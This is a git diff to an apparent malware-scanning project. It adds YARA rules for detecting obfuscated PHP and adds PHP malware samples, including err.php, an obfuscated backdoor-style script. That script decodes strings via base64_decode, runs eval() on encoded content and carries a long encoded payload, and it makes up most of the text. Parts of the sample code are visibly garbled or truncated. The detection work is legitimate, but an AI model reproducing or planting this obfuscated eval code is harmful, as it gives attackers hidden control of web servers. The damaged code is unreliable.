diff --git a/pkg/compile/compile.go b/pkg/compile/compile.go index d040a76c..66a76b86 100644 --- a/pkg/compile/compile.go +++ b/pkg/compile/compile.go @@ -49,7 +49,10 @@ var badRules = map[string]bool{ var rulesWithWarnings = map[string]bool{ "opaque_binary": true, "hardcoded_ip": true, + "str_replace_obfuscation": true, + "php_str_replace_obfuscation": true, "hardcoded_ip_port": true, + "base64_str_replace": true, "systemd_no_comments_or_documentation": true, "sleep_and_background": true, "Microsoft_Excel_with_Macrosheet": true, diff --git a/pkg/report/report.go b/pkg/report/report.go index 10f91faf..e1fb99f7 100644 --- a/pkg/report/report.go +++ b/pkg/report/report.go @@ -152,6 +152,10 @@ func behaviorRisk(ns string, rule string, tags []string) int { } } + if strings.Contains(ns, "php-malware-finder") { + risk = 3 + } + if strings.Contains(ns, "keyword") || strings.Contains(rule, "keyword") { risk = 2 } diff --git a/rules/combo/backdoor/php.yara b/rules/combo/backdoor/php.yara index c2fb9e01..5815eaaf 100644 --- a/rules/combo/backdoor/php.yara +++ b/rules/combo/backdoor/php.yara @@ -248,3 +248,23 @@ rule php_base64_encoded : critical { condition: any of them } + +rule php_str_replace_obfuscation : critical { + meta: + description = "accepts input and runs obfuscated code" + strings: + $f_str_replace = "str_replace" + $f_display_errors = "display_errors" + $f_output_buffering = "output_buffering" + + $i_get = "$_GET[" + $i_post = "$_POST[" + $i_cookie = "$_COOKIE[" + + $o_dynamic_single = /\$\w {0,2}= \$\w\(/ + $o_single_concat = /\$\w . \$\w . \$\w ./ + $o_single_set = /\$\w = \w\(\)\;/ + $o_recursive_single = /\$\w\( {0,2}\$\w\(/ + condition: + filesize < 65535 and 2 of ($f*) and any of ($i*) and 2 of ($o*) +} diff --git a/rules/evasion/base64-decode.yara b/rules/evasion/base64-decode.yara index b43240be..fe0f7534 100644 --- a/rules/evasion/base64-decode.yara +++ b/rules/evasion/base64-decode.yara @@ -12,6 +12,17 @@ rule base64_decode : medium python { any of them } + +rule py_base64_decode : medium php { + meta: + description = "decode base64 strings" + strings: + $b64decode = "base64_decode" + condition: + any of them +} + + rule urlsafe_decode64 : medium ruby { meta: description = "decode base64 strings" diff --git a/rules/evasion/base64-hidden.yara b/rules/evasion/base64-hidden.yara new file mode 100644 index 00000000..7dd38d55 --- /dev/null +++ b/rules/evasion/base64-hidden.yara @@ -0,0 +1,10 @@ +rule base64_str_replace : critical { + meta: + description = "creatively hidden forms of the term 'base64'" + strings: + $a = /\wba\ws\we64/ + $b = /\wb\wa\ws\we\w6\w4/ + $c = /\wb\wa\wse\w6\w4/ + condition: + any of them +} \ No newline at end of file diff --git a/rules/evasion/php_no_time_limit.yara b/rules/evasion/php_no_time_limit.yara new file mode 100644 index 00000000..438c5045 --- /dev/null +++ b/rules/evasion/php_no_time_limit.yara @@ -0,0 +1,8 @@ +rule php_no_time_limit : medium { + meta: + description = "disables execution time limit" + strings: + $ref = "set_time_limit(0)" + condition: + $ref +} diff --git a/rules/evasion/script-obfuscation.yara b/rules/evasion/script-obfuscation.yara index a4a2a983..adf22e14 100644 --- a/rules/evasion/script-obfuscation.yara +++ b/rules/evasion/script-obfuscation.yara @@ -54,3 +54,16 @@ rule powershell_encoded : high windows { condition: filesize < 16777216 and any of them } + +rule str_replace_obfuscation : high { + meta: + description = "calls str_replace and uses obfuscated functions" + strings: + $str_replace = "str_replace" + $o_dynamic_single = /\$\w {0,2}= \$\w\(/ + $o_single_concat = /\$\w . \$\w . \$\w ./ + $o_single_set = /\$\w = \w\(\)\;/ + $o_recursive_single = /\$\w\( {0,2}\$\w\(/ + condition: + filesize < 65535 and $str_replace and 2 of ($o*) +} diff --git a/rules/exec/shell_command.yara b/rules/exec/shell_command.yara index 7e3c196d..f6ee9ef7 100644 --- a/rules/exec/shell_command.yara +++ b/rules/exec/shell_command.yara @@ -1,4 +1,3 @@ - rule system : medium { meta: description = "execute a shell command" @@ -12,3 +11,13 @@ rule system : medium { condition: all of them in (1200..3000) } + +rule php_shell_exec : high { + meta: + description = "execute a shell command" + syscalls = "fork,execl" + strings: + $ref = /shell_exec[\(\$\w\)]{0,16}/ + condition: + $ref +} diff --git a/rules/techniques/code_eval.yara b/rules/techniques/code_eval.yara index e045e054..71e190fa 100644 --- a/rules/techniques/code_eval.yara +++ b/rules/techniques/code_eval.yara @@ -37,3 +37,13 @@ rule shell_eval : medium { condition: $val and none of ($not*) } + +rule php_create_function_no_args : high { + meta: + description = "dynamically creates PHP functions without arguments" + strings: + $val = /create_function\([\'\"]{2},\$/ + condition: + any of them +} + diff --git a/samples/PHP/2019.StackOverflow/README b/samples/PHP/2019.StackOverflow/README new file mode 100644 index 00000000..dbc5054d --- /dev/null +++ b/samples/PHP/2019.StackOverflow/README @@ -0,0 +1 @@ +https://stackoverflow.com/questions/57783589/is-that-some-kind-of-php-backdoor diff --git a/samples/PHP/2019.StackOverflow/smileyface.php b/samples/PHP/2019.StackOverflow/smileyface.php new file mode 100644 index 00000000..8df688a1 --- /dev/null +++ b/samples/PHP/2019.StackOverflow/smileyface.php @@ -0,0 +1,3 @@ +").($_^"/");?> + diff --git a/samples/PHP/2024.Inull-Studio/err.php b/samples/PHP/2024.Inull-Studio/err.php new file mode 100644 index 00000000..e7d62535 --- /dev/null +++ b/samples/PHP/2024.Inull-Studio/err.php @@ -0,0 +1,25 @@ +100){$ٗ();}eval($ִ('D0AEشG49Ʀ/G+H֬AF1CβGAĢؚ0AHEȴADB='));!$ȑ($̻Ř($($പƆ,$ݯ('1'),$ё('1='))),$($($പƆ,$̯툤('=='),$Ӌܼ('1'))))?$뼘():$ȱѵ;$=$('1CF');$ͯݚ=$ӫۆ('1');$ͯݚ=$(@$ۭ($ٚ($($പƆ,$,$ͯݚ))));return$ͯݚ;}function ($,$Ӆ朋=''){$˯='base64_decode';$=$˯('bWQ1');$̵Ѫ=$('');$Íշ=$˯('b3Jk');$Һ=$˯('c3RybGVu');$=$˯('Y2hy');$Ӆ朋=!$Ӆ朋?$Íշ(''):$Ӆ朋;$鞘=$;for(;$鞘<$Һ($);$鞘++)$ﱍ.=$Íշ(${$鞘})<$Íշ('')?(($Íշ(${$鞘})>$Ӆ朋&&$Íշ(${$鞘})<$Íշ(''))?$($Íշ(${$鞘})/2):${$鞘}):'';$ͯݚ=$˯($ﱍ);$鞘=$;$Íշ=$Υ=$Һ($̵Ѫ);for(;$鞘<$Һ($ͯݚ);$鞘++){$Íշ=$Íշ?$Íշ:$Υ;$Íշ--;$.=$ͯݚ[$鞘]^$̵Ѫ[$Íշ];}return$;}}}global$Ť,$,$,$߲,$ʨ,$ƺѐܼ,$ߤ뿛,$ȸ,$㝴,$¢,$ۭ,$Ăټ,$ȑ,$ٕ׃,$,$,$䵆,$;$ʐ=$͝ƶ=$=$=$ҷ댭ϲ=$=$܆؇=$ǭDZ=$ʫ=$Ҟ=$Ԙ͢=$کȞ=$=$׵Ȉ=$̥=$Ÿ=$ܔЄ=$Ǜ=$='¾';if(!$Ť){$ʐ($Ť,8);$͝ƶ($,9);$($ߤ뿛,10);$($ۭ,4);$ҷ댭ϲ($Ăټ,13);$($ȑ,12);$܆؇($ٕ׃,2);$ǭDZ($,14);$ʫ($,15);$Ҟ($䵆,16);$Ԙ͢($,17);$کȞ($㝴,18);$($¢,19);$׵Ȉ($ȸ,11);$̥($ƺѐܼ,5);$Ÿ($߲,6);$ܔЄ($,1);$Ǜ($Ƀ,3);$($ʨ,7);}$ִ=$ݯ=$ё=$ǤԺ='';$𚹠=$ִ('8');$ͯݚ=($$𚹠);$䵆($($$𚹠));$ә=$¢($ͯݚ);eval($ִ('ACBGA0ȪΪ9ȢؚEGGFΞ='));$=$;$䵆($($$𚹠));return$;?>HҞ8겞+C⨜8E69DE8갤7D1H8B66E̞5ܮ̖C+DG3Ԣ/C1̘ޘ3ڮJ2EDF29EDԖBIĦʢB38FAI10C5AJE+D89G/A3Fް/EAGACBJE+J17̜ܲʦ591֤4/5/DI552/D6/HHFF8GG7Ш9谖BF1+47G2H+211F95BFA9FG6Ĵ91007420+/؜HGƨF8ΰ2FD795348GB+괲7GAܘ7E5ڬCҴ18370D3B1DA9H6H7ڮDJ4094CJ508CHDJ+3䢜9ज127ڴ/G8F3DJ4G®A5FIҠ̤/آJIIJ¤15246+2貮䚨1ĘФ64AHD̰4G/I+☦J0E̤73FJ9A8̞ꞲII6ڠ+ڜ5DD7CGИHƲ4533Ԗ6/Ҙ–H0CƖF2G7䦮8GF8223G28H06GJ434G24ޞ5خ/DJAC+EΤE좰ꬤAD6J89G34A8Jܠ6633IB/Iœڪ֖DJ4ږH얲8Ȝ07IA0+GIFH⤤J+1/FEΨʮ0F70ĖFʲB+Ʋ1/1ƪD7GID7ʰH3H6F8H09̢֪C9вHĢAE1謚ܲAI71ҖAȲаڮҪ+ܴ8231E4ޠ֞7H4F/63ȬШ11JBBڪA̞άJE87A2I0+آ8Ԝ7Ҩ/C/Ě1A֨904H8/2IG01ҢЖFF8D3FΘ2199I139 GF+GGҨE+I̚6I/5258/G/GFG7GHJ4C5ڰC4A9AJ1ؠ0薚ذEB6032֖42ʰCAG726FD0J3Բ֮JDƘ2̦EڮJ̬8B+ږ+I3Cޢ08E50CAHI447¦7J873/ؠ6A/I/J2J4EԪFI76ID/G/²61Aخ6C/IʞG֬МH7405GCԞЮ1BЬ°F85ОA772Ҧ376̲HH6C5I4/֞9C1ACAHFڨA+H̨IEGEBI67I/+70ƨ0J6JFE592GGG33D/CAJ6/Ҵ̜393˜+H584GGAII/Jެ1ުĪ55I60Ԗ5A19B6943ʚD̘8+®6FBA9쨴73ڮڴDҘ8J0CA+09FC4֖0ܴFA74Κ06FԪ1AΞFΨΤ䠞HJB94G9ȢBަ֢A+JBĦ잖BҨ205F3ΰC5ܦ/4D5Jް965E1CD/503223A6ĮEМ906A4/H7/+Ԭ+00ܪBEGB6B57讪ަ6242EBBB2/ΜD5961Cښ66EAEږ1963G1/EGF/DH2GԨҰ2575J4+4Ϊ7ʴ97H9+ڰCʢ/1EHF39C93DAޜ3IB9J66A4CECF0B05JG5IΦ8Gΰ1/I4F3BJ8283C50ȚڤH33I8CҨ456H32D0II72627EBʚΜAژJ֠I09ҰIIAF410C1G+1F䠞3ܖA+ڠ8ԠF31J6BI6A8ƞ訪5ԦJΘG6AȠ6̰ܴ6JHΤ00+4EI8194G078/Ȧ8D2BJ5729ܦ/8CΞG4AC645//+5B349̢ОD196+Ԛ1ֲ3Ģȴ44CG/1FF4F֦2EAG40GD01ʢB96IHަ50FJ6Ě6IJ2̢F++0HʪGA+A/ڦDC9AʲܦGF7ت¢GD721GE2ꪬHJDD598+3GFު890G70+J864317A862JEG27ژDAFB0̢G3H0BI++B/+C882B4H21005F6AAHCJ1E5ޮ/I2G2ĘH̠⮞JЮڴJҠBаܪBژ2޲+EJJEҖCښJEGĬ9䞞BJ80Hʮ2ĞڠIJ43H+AĜ5BئJAֲ̰65֞C52JȨC4ޢښAG4CFԘȦAD6̦G6JB/5H0E0ʲD¬/I396I1ԨFE5DB3BJ/7+66ʦ42JDG3C115HG5A75ܮ55ԲJ+ְJDʲJA7HH2402¦РBJ֪ЖH9I2AAD0JDJGCHAF1I58ƤE4/ADAެ19аȖ3G5ܴ/4޲9DH76֤9DJC558GE/4/392J3ʲGĤ AJΨ23BJBD+523CIB3 EJتA0Ԟ1I9E5CF5JʪAȲ8ܮF8̲A5I9ʮ6⤨IئHDJ4727JF765FĮ158G0FܤƦE2401/B+3ĦA6DҞH48И373GGGFڠCJƘ756Θ26D77/++ڪڮа5/5/2820/I°ʠ/J78GꦞԞ5/I̮4CE4BEA42ԜJCI؞20Į3CEК++90ĪFJ3++6HĞ+CD5+G/̞A´7ƦHؖԘ䖲B9267F֪6̜ȴD褪447A5꠨1вHFG8B9B6E026+83GE53210ڦI00ʚGHDE֤4ȪC6260HEGJȲ5GAE0HG+0B֜ȮD58Ȧ95ڰ69BҰ8D5ޖD7аܨDI+A+I//ڜΪ7BB0I30/78I18FG/D2329I1ܬ/ژ5+12+ܨ5J076C2+0+E2DD/B9/EBJ30Bު150BšIB9EFDF+I+FE29I5δBEH+J/106DDIܚ8Jޞ7ԬĬҲ39EFFBIC7A5B8/EޘBHIG73DJ19ڤ3875/Ė3B+0ήJG1ޠFB/0E+4HԖG509/7GܴG8G5ҚH0/+/GʬEڰ264G82B+40ЪĨAܴ045F/ B36CG1֚9GD32/4735JֲB08ذ4ޘA6/IЖ؜+35C4Fர3+Ԥ+/HҮ1ƞ97B/̰0ֲ0ܞ1겘F8GBFC´40A9J5ĠIDF5⮞GFDHGAܤBCܠ⨠DDA472䦘̴AJCܞ8аB2I̮IA17F5ؚG+H9/J֘7F7FE9041A֪73BB++E 23H9/H֢9I8Ҫ9F3/4I+GF0ΘȲ069¢I4//+3HJA8H10013̜CA47İƠG20ȮFڦ042CB3J/854ްJ̴I0ؚԜ9CAH2GI52F616H2̠8EΪ0G6I934I+57޴9ʮFBGCҘ3DG4ܦʚ4D317/7307آGEܪFޚD10+4ԴBI96CΤA57Dڠ0䘨JB7E01II6JE0I09CA061+2CFGIG+Т0AD8+CEJCڮ19BB7֮GG4BF2C+B1119EH̦G3ޤ+3Ԧ+GڢĚƤ+ܢ5ښDGBGFB+ĢC6F+22FFEȖF2Ш+Ъ31F4̖δC3B2/8ز9ش86AEDذB4GJΦ8ؠ3AH614̦Ȟ5/Ҧ9I쪲0A30J99EަެD8HI86F816AԨȜԤ0Ԧ洰9+J90ꞮB椲5F5Ħ樬035F+79D1AH7Bڴ1GG7G–9I/G4JB´7480J+J3BIFI46D7H36Ж50+ꪠ70/+0J8DªF4ΚCEެ657J/AH4H+/6AFά71EE5AJ1A/B64IB05I06J6806잤6𢲬ABDFGCCGICԲ7GJ6150491+6Dب3DHFJ78ΤܴF48ФҜ/Ҳ6ܞ9H30J676BH5C+BH176B8ƜFI114ȘH8G3ܤFJE8ڤܪ71A/E90AD80B88욬3B9H5868ADIC+ش9I9AE2/E2 0IО̪Ȗ0̠+54즰2HئCȢ2ꮠAޞƖ13ȲDDFDE3EG¢ΰœ29BJFAA58711/1꠴EEBږڤI7/Ү2J4EG3G18沤904B6FH41F35+ܦA8H5HEBJ+0Jިꮘ5CԴ⢤17HHCH0ޢ464B22A/4F03ܢ8/0䚪3949/Dܰ4965ȜA+1ƞ6//ԦֲFJEADG4ԲH2C7DDI5GCž+/019G313537GGҠ01EEȪ2D̤D73+I9Р6189H549/0833I/Ę32DڲHH2IJ+B3706H9D86+¢B/2G1C6+F0IBGA0FAI/GB̠ƠF34ʦIA4DH/DE34޲7ڢEG3H0/55G97451EBBAڞ0IJI8IH6/EBB51A9J6Ȣ1534085421BFBA8Aަ6G2ޮƜE23HF91Ȣ5+DEI9Gʤ9/480FCEƜȚ5AJE/ҠCȦ8쨚FCFABJCJFG+9J6EG9H3+F/323DI240ȠԮ49°1JAڲ1CH0A52HA17202पBޜĚ 9A74FC5ޠFFԖ5GA֜/AܜF1/+5ڜ80⮬57IHGDJBC+3E+ڲHBI59Dꮨ1Dޜ6F+8EA̲86C7G誢GB225/7DE23֮I/FHB̦ƴ蜤1آ6ЖBΪ1F謚G+II6HHDDBDFJƴH֮E8枬H+J55BADEޖ2C/0ԪECHH41F/̢J35ޤ8زʠ86GG7J4ԮܚA83Ģ6HE8ڴʪH9G07D37HԦAĜܚ5Ȧ5371Ġ80F66++E1B/59ܦGΰAAGEDA47H39A8BޞHؘĚBG71/I̬М6GFFFBԨ069HCA8CȲG7֜65ʤʘ2127H6ƪH3CAܲJ58HƮI8+ʚ134I6I¦FܮF4IHFִš2/+/C쨬FDĦAH35F/4++DޖޘJ9H8A2FJJHԢ̖H03ĖHCI69E62ʨ1+2BI4CΚ9CЪ9ʦ8Ҭ8D516I//25EI94/DF+II09E9AB+06J9H32֘7C36ADCȢCG6E23432HF+E5042D4/57Ҫ13ʴF1/A1AA370/65/6024ڴ36JI4+잨3+شCԞE125DB9A7IBܞF9I5169/I37갤CʢFEA¤JJF2آ9419G02/ޞޚAުJ9œ7Ъ/ؖ84G8FF7C99G01Dږ蘖7ОIC059İ86B0I97H+09FI44䘲13FA/8H7ABȮ4IIJΰD8IȬ09DCIF+JDFD122CIF0Cؖ5EDADH83/59JI䰘BJ+Ԧ3J¦EIΨ544ƨ05E2A4I5+Ξ303ƢF8+2ʘ99/7I314AI7F7CĤ줠4+G1A+9BJ9޴DF30¤A76DDڠ6/E22J+G0ƴ8A7/0I5FIGDF748C21B3ʨG871IHF6+9H+5717C701԰6G̖88+5IDޞژBFF0FHA9H0+400I+Cİ֘EԞ900/7J2G00AآEGEGH25+3793CGE2¨9+ޚJܜ7CD̬88/+54E1ICޞ122GƘ欰֬Cʖ0/58Fʲ+08˜G462I9+CDDHΤ4+JޜȬ48J9I0ܬB2̮GJ7F/431JH+8Bβ+H6螨/F02I20ް2I/055G1¤I7CޠΜJAHGМ8JH6/6F0¤0B2I6JĖFJ6ΚH594599846/+JI74BC864CB2C6Ң6I/3+J10+HJIBCDE66+61ʬJIJ֢CGAAG64D7GG13ښB7Ξ//D/ȴB2+ƦJޘ8C5Ĩ42EBF/FʨEFCमD/1/1I+Gʚ20/+1/ڠ7֢CI8JHHHJ0H0Դ/E061B3ȪEGش4DB91/ĘD5D7AҞB1E1GGHFCH+EB8F4ڬ33Gְޚ8Fئ1ȜƨDJ156F4EGԲ19ئઢB/DƴABH4GĞ65C䠮Iޤ3AE좞/46FB43Ү93FƞB²88B/060ਞҰ3AG5B01H8B8F4֤Jʪ451IJδ8594H0C6J42̜䠞H24EJ+2A+5䬠+78/蜠Ĝ8EAI/1𪘬Jޜ5DH7E36+2IHF̢43IA4/HE8BʚHEԦ¢ԬA3BCFE֠زآ9Ƥ3FGBCC8DC6DH4F؜79CD5HԘ0D8HI93ⴠBB1B3/14FಘDIIҢĢBJFЪE46C8G24GĘ4ʰGBB0II5A0䘪Ƥ5724ԮE4ڬԚ20DG9A5Ę6B64Ψ4G/JBE7B1059F++G9C1B69BBDBC2FADܴƲA/2B/6ܦ6DCI3FIʠ8B893A06A+/E35̤4вԞ/60A1120BH799J¦Ь7JEGEB7I38CA7GG3CĨ6HڞGJ5+9DAB/264Jʖ젪9B4/G7FA2Ъ2B48+ܜBB45E94A3C5CGAI16C8ܢ67+EF625Fب5AG/3/0FĤ373+GJ37G93C/2/8I72C6FJ86֬ȞEޜޜ34JD1+ʘƮH69398Jꚢؠ̰9B76䬲䨲δĜ3AĬ2/A6E058֪B5I48ܢAC9H+5Ԥ+DBڞBJ7FG492E6IB93+İIJHAܜH82CĢ4Ϊ51ȤGҬA4442HA5薞675H樦4EԠ+C117Ī5BBH6Cڮ1GEH6G4Ȥ梬4Ԯ8C֨HJDAڨΘ֘358BEBF+0⢠+̦FHCHEICF96Bؖ97/7CE+3/56G3Ξ427C8/6D1725М5IDEDC97BG1FC7Ҧ5AD6F427򜦘ƠGʮ9+9IAJ+1BG֨G7Jڢ7553+3B2DHGȘEA60B419β7CڲژH2HG+B21Bڨ02C1G2B+/D9ڠ4G9Ȟ9Ơ´¬4Iְ֤BI1Ү1GEƘFƪ4I/B6G䚘06H+EA/6¤HA4֜FĘ1AȢAI09JE4Gܬ8GJ3/9Iآ°HI/G10G4+9AB/56ڮ392A5E0Hܚ77̢6AH7FC0ΚD72Ԯ7EHʮĦĖIIDB/ʚ5/3F786IB3+EΚ/HJު723ؘ5J+A90F00EB/0޴0J77DF3Ȗ0ȴ3D43B/C/H/3HE8Ḛ3E⢢HĢH7ТJ69/H9D9FH18FH6/֜684B5FDJH/10B05ܨAδABœ90I/A9H6D4AI5FȪGޞ+0ꦞ5زܦ4ܤ9A6J75꬚̦CIJJ5E7/+栖HКʦFB63106H/Ħ91DH4H0J讨F̬DFF̨D40G̴72¤/02Fά3̬CF+1GC1EĢ66053J557Ĵ̲D3GCH95ОڜGޚEGC+I3332E갞FABD3J2FIдGG/8CI7̖II26+5ά4C4Fڬ8H4F76AܰḪ0897ܘ5EȘIJ7JF+2H+18/4DA77GCʚJ4ICަ8CDIE/I֦Eޚ̴DEAڬ7DࢠB4AE5DEJ06A93DH4ЬH֦GΚ54/İFژG0/125GBDEЬ770Aޚ΢C8H+М5GЬ0FGCAC/29첤؜H/2F2ȴഠ/GƲ0/5/0֢8E00FD047+2GC/Fв̚F38DJܰG+D3+GI187/BCꜘEDCI++8JȰ88CƲ8D褚HG496JΤFҚ/즨D277F836FڞC8آ6ADޮ1E9Ʈ4C˜찖G68/01ʴڪCAG272œ9C974J1ICDE38DF1ΜIE6+D311괞I9I6A9055Fܞ2/C03☰/+Aު7DEžH/091JΘGC2EJ/8C0βH0AF3樞IڢJHHB4HG6AҰG5H795ʬ0̘054H8F8ΰ0ΰ+DGΤ+1B¨72J¨1/+B̲09GF936F27BIҞIG+D7ҰBʴ64HBHڜI֮C̲A056ư촦87Ξޚ̦CCB53DΰI8F7DЪ̜F/2248젦38D00IJ31H59A898AJ5/B/9JD276E/GC2/3871H1DCC+/9J1/G4DE2О9D+1+060HG/ܠ²B+Ƭ33J6J898ԢJ19ܰ1EBFJD7C76H0ADD92Ҥ1/D0140ܚ/5Ɩܬ2+Ģ/DA31EBĢJܴ˜+9/31EEDEƠ䢬A0CAƴ4ʘG146ܪ979FG4A41𖰠39B5ް9F4+DAF+ȴ0Hœ̖ܨH7E8Ԟޜ2ԚԖ9/+F/3˜2JA7FCEΨ96Ș082G/3DEBC/DB1I謚64763DCG0E3D8HƬCG62EI9HЪ89/3DG54ڨB̠D28/G9ƦCIآ30CC87H2ڪ6FBJB4A4CEHʘ1/A6JB֨2GIJ954ڲFКܪ4ОC0/7ެ5J+0Cؚബ/EΠ7CIIF1E20ؖ6ꦨHIB62+I37Ƙ0GGΰJ1Cʠ5ʬ+5D76J93CD8D/Hְ2HHF3I5԰G5A77E86H736ҚEE/5+59DJΞE1ª֞BD8B5IGȴBAE5ڮ22C+ʞJBШBBAC9줴AA1D1I0F2F//+AG1Ҟܜ⤬12AȮE510AF6JH43/FJ739ҜC35A+FF1I//AF/38I7G96HC5Ҭ+/39EGJG760DAޮƲBJE08E+ꜚ6/12H5BܴA6F60HޢHGв0̢2Ɩ9EG2JΤHB1ƚ+A3+/GBI/7+G1I8HCIF86A̠2H05+EҖEA5H/IC8ڤ/֮A991JD5ܪԨ4Gİ453/1B5JƨƖ0ޤFB0ȬE4E򚴲6ȜJGDI3E11¤2HEG֚3JIEF5BB4H/+2ܰ2EG6A3146F2J+3C82/تDC39171IHG9֠2G֪06GA+1J9J49ܢ栨+Gڰ̖9G´EDA7A7΢BAE0IJAEC96šI¢Ș+8JH7+6A6/BȰ603HJ16/2A1FAƜ7A˜+302AFG2D5C3E9G2ĘBEI+Ю+H00H8I3𘖰2G5B/Jڴ750Hֲΰ+О21®C̠+Ȭꚴ6+䲞69ؠBHH60جJڜ2FFE֘71讘0Θƪ6F8F/Bް07G1찰CHGܖҮJF֦063GE5FDڴ8DFIDDF5II5C3C86E5ªGB6066JA4¦JƤHКF7ڤ2HH94+30+E4IȨG2FBĞCB3+J԰9A4EH6ڢIؤFH6228EC1Iܴ8EC8ΦIĮ516Ȫ13041GB3HޖBI+47Ȗ/I2Ԗ9BD8B661I/ܮ/B8Cޖ䬬F14JHCF323CJʤҢI2¬BޠH1DHGD58ڢΦI35/Ҫ8ޖECC2/+𦜰ID̘ڦ24A4475HB075BG4I265BHC3Ĭ+462ʪ1A6IF0̢I8H8EDB980BABڮ71JȖ48AFA2H49̖9EFJ7J/G̞7+BHE080▴72DDʜ8F5FA8070Ȱƴ827GԬ0+EڠJ9Bܘ7¢9IEE32GD072ά65D1GEA0753IE133¨30132397ʬEFE9DCE19C8¬HJʪ֠4918BE0D7FJ70HE5ږG++ƚ547B0JFتCEƜ6B/14ưA/GΨIFDA7G5//38BEHH8C1AҲ02JJ6E469H6762D6̨+FE2F63EJDĞ6FAFGJ71/GEҢEGHEDHž8ABа51JB+ʖ95A䖴CGG+ڰИJШҤJҲI3E+8BB+E2ޞBJBDĞI4+ΜHآ7+68̞䞠𚲢0D5509702ΰ1FJB7525G7I76ܖ4ƞ7581/7FEC9DC9¨B8/J/57F0ƪ05AD蘢1A/92ά8147F31+B83ئ88ƤDIޚC89E9Eڦ//HIƨ̚ʠD8JޞƦ5BB2IH12J0+7/0IAC2+A2+F+1ְ1JDΚH4ܠD8723J1+DР+A䴠ʤ31J391166̢05A讨EAC616ޞ584J8FBH+E325F0޴CH504/EԬ7ִΪG3830CJGBDΪ5̘+7İB+ʜ0ܪ/BA0H649B94Р1D1D0FD2Jڴ3AG4HJJ4¢ꢮ479HHD21GGGΦC7+JD1ʮA˜93ΪĖ6H̰EBAHAA7̮9ԤGԦ1BآE¦GGJHD7ޜȠEGI1+DE/92207E17F5̠JJDB161IIA621069/ʘHII81B+D3̬ژ5AEƞ904EIήJJ1BI77ƨ5ޞȘF5¨+94/4촜I6/֮I+F3J7DB貘+ژ¤66H/02/JF/ؚ80ؤC/0B3EܢAJF1DֲFĜ+6J֢G86ޚ7HIJЮ957+A+42/E16/ECĴFDGJ9EIH֠J9CIG6𴘤BAEH6ްI2CJ22EJƪؤ92+1Fʰ7/3F2FAFHHG295409+̴0ID7+Қ+Ԥ/3D䪘ʬEC7DEB++A+Ȧ3ږHžFC3DJΠBFFB00F9793I1D0ޤ9HJ9BH7GACBެܚ̖41GHFCH4A3βFAJ7ޖHF0Hخ10F4BHIG/CGA5®I+82EDB3283➚ޞI3GEJIE0982H50D6GFF996J7+92G30FEΞF2J2IB6IBެF̘GB5474C䠬AҘ96+I3IFCC̚05HFA79B3+԰7C1Eڠ؜G/ުЖ8ȘHҨ092جРE33DдJB5΢E0831EA1F3+֦9JFFڮ19A 8JHƖ̖BEH8䰤H111DƦC̬֖F6ڦ7G8H5+5E0谦46F7CҰ3J2CްBIFB8717FEFش4+2Ɩ5203A3766CE2+7B+3+ޞBJEC+46ʰ23G000朘+F4¬D1ҜAGGEI4+B/9М4BHDC4F/CDA/BC2EHICHE9/59֤촠/I6G1ʲ86G+++޴5BⰠJ83FB7Τ1E/Aئ200G20JΚ56E2B74B8C2B84HΦ/C4H8ȦC8/4+9+CB4IHI؞F+Gޖ3B+DC6J2޲45/24G90B3B50ܜ4F9JΦJ7A8159BHCA85HܞABIʘ69I3ΪCBž9ԞМ1IDDΠ80BCG78CA¨J6HJ+■DI̢ACCF7A94+EBIA+HJ0E°ܤܠ1G18Ԟ+FΪC95F9/74B3B2G++BҜ/ؖ506CƖ0H3DJGܮ+318ޘ44D166C욬1GD754EE00+BܦCBI2ʰD5F8֘Bƞ8F03ҜFBGҪHC7J+EH8Fܮ6GȤ4905ʪ047شEJC73JE2AIFĢEBHޚ+4I7G16224G+94H71BҴB5H7B9ª2/G/44AHI72G4+ȬIJ2I9A411+GC14/JF62ܲE5BF1FF47A429ִ2+CCA67G69D364Ƣ2IIB5HGAƬ7AEڪئڠC5ACA6AFE49Ȧ321ܖ5CƘD/2I0Ҭ3HFԤҪAJJ3+CF7ƪ35688B3ҜD2ܘI5F2G+ /+E2A7J43G358FH1H𴜴1E+ECԚ758/29ʴ+ʚHĢEC+5C9267²+FG/FD724Ĵ6؞AHƠȪ0F5ФGB¨5G52CH37B25D0/AC231059Ě07B52ڨР6DئEA+CDA+0ꢤ45GIδ48GI8E01+IC/؞/̰02̰+J1DCҚH/G4貦3+2+֚FB01H38Ԣ4A+98J괨2+DƞBEF355F갪+殬B688B931G AؚȠJԞ7र638D8FD48F1+3HEԬD4ެ9178JȖG+7Gʮ+6ʜC77H09F𦤮6530CGE51Ұ95587I+JIЦG֪+BFE/+ΰC8/A3+DDBE+24FAʚ3E00AE34+/5HJ5Ƥ/7711/Ƣ45BAFBIIIEIܦA5ꜤޤIGB4/0D3I0̜A2BEК4찞HH35C8A+8C3GEAIACJ5ܦన57/7A5CDJG8ؚ7+J//ȲG3֦5¢A6ꦦҠشȬGܖΪ439IEG¨Ԛ87Dؠ18E8ܬ7E182++B90œ71ĞJ6⪠EHFF7A494123AJJI38¤֜EJ8֦1I0ܨ40I/64ֲBCFD5ȚE48®Jޤ6B䖰B8/H5H0М84ܖ9Ȫ1/FB3I޲+ҢJ/D94IGG052FEΪ47DG6–/A1D71B44ƚ7DƘE69G33蘚2ECβ6Ȟ306/21BHAJ3FȲC4J4ΦEJ3̨+9EHDAЮ3BJ6E7˜̲C+B18D+5DI֘ި9I1Ԩ8C+ή̞I6J/H47ĨF/9ΪFD0ҢHКœ13+HGG98BH74Fœ79C3G00I5153BĖAE6/9ڞȦ25BJFAA2D04Ц֬J7FȘ2E+ʲ1485G293895Dʲ3ؖBHB1/85H7ʚH301H/H054/+8E75JC3殖67BҘʖ̰Aت֨ҠFشAAIJޖ+蜬91B9903DIDE謤1ڦҲ68ꬪB88Ҧ0Ұ0I9ʞI1ABCĨ/ʦID/FBE7279HEҴ4/A6/E348BE갖4HEGH1̬ܮA𖚢58A6Iެ5G6E7452D0ʞHH+ʘ֖شD8GJʲ8Π/̚II6Ψ00CA46ΞB8HƲ/0+C8I6Ḭ/48AFΚIB47ʜ431HΦCڬD8/䘖Ȯ7ʖCD51+6AҞIԘ覨4δ/Ğ32JĢ0F6̤+0IʠΘ谖3+7+̘6+AA44EJ4IΚ61+5D2ID4HG+G++B1C862EI/3F4E3G1ޮEA4CE270369ҪEJ+֬808D287B5BBH2D̴FȴʦB89E5G205IG15֖41Ԣ6¬ܜ9GI3C4I3+3C؞+5C8BD쬴ТA3Ԗ+1EEAG1626HD0AܪI+ʬĦ+F/تF윜C284®9C؞67JAC80̴3G0°/0Ҝ58I9G48؜327IIJ9//88ܠ4H2ܞƦAF5D282޴/E6ڲžC+A47C7C4GI05A+ܞG6ʮ